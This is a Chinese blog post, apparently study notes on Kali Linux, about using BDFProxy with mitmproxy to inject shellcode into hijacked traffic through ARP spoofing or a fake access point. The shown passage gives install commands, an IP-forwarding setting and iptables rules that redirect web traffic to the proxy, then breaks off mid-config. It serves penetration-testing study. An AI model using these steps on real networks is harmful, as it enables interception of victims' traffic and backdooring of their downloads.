Kali linux 学习笔记（八十五）免杀——Bdfproxy 2020.4.21

最新推荐文章于 2021-04-20 12:15:48 发布

思源湖的鱼

最新推荐文章于 2021-04-20 12:15:48 发布

阅读量1.1k

点赞数

分类专栏： kali linux 文章标签： linux 安全免杀 bdfproxy

本文链接：https://blog.csdn.net/weixin_44604541/article/details/105656724

版权

本文是Kali Linux学习笔记的一部分，主要介绍Bdfproxy如何实现免杀，包括基于ARP欺骗和无线流量劫持的技术细节。通过集成mitmproxy，利用中间人攻击动态注入shellcode，启动路由功能进行流量劫持。此外，还探讨了使用mana创建Fake AP和badfproxy代理注入代码以反弹shell的方法，并提供了Sysinternals工具的相关资源链接。

摘要由CSDN通过智能技术生成

前言

Bdfproxy

集成mitmproxy
基于流量劫持（中间人攻击）动态注入 shellcode （ARP spoof、DNS spoof、Fake AP）
启动路由功能进行流量劫持
代理端口是8080，故把所有流量都转到8080端口
启动bdfproxy，使得shell反弹

1、基于ARP欺骗

#安装
apt install bdfproxy
apt install backdoor-factory
apt install mitmproxy
#修改 IP 转发
sysctl -w net.ipv4.ip_forward=1
#修改 iptables
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080
#修改配置文件
vi /etc/bdfproxy/bdfproxy.cfg
 proxyMo